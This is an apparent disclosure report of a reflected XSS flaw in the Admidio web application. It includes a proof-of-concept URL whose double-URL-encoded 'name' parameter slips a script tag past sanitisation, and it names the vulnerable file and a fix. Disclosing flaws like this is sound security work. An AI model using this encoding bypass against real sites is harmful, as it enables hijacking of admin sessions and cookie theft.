Cross-site Scripting (XSS) - Reflected in admidio/admidio
Reported on
Oct 18th 2021
Description
Possible to perform reflected XSS by using double URL encoding when retrieving files
Proof of Concept
Trigger XSS via
http://10.0.2.15/admidio/adm_program/modules/documents-files/documents_files_function.php?mode=6&folder_id=1&name=%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2531%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e
Impact
Possible trick admin users to visit the malicious link, executing the XSS and allowing cookies to be stolen, it is also possible to execute actions as admin user via malicious Javascript.
Occurrences
documents_files_function.php L178L190
html sanitisation should be done after all input has been transformed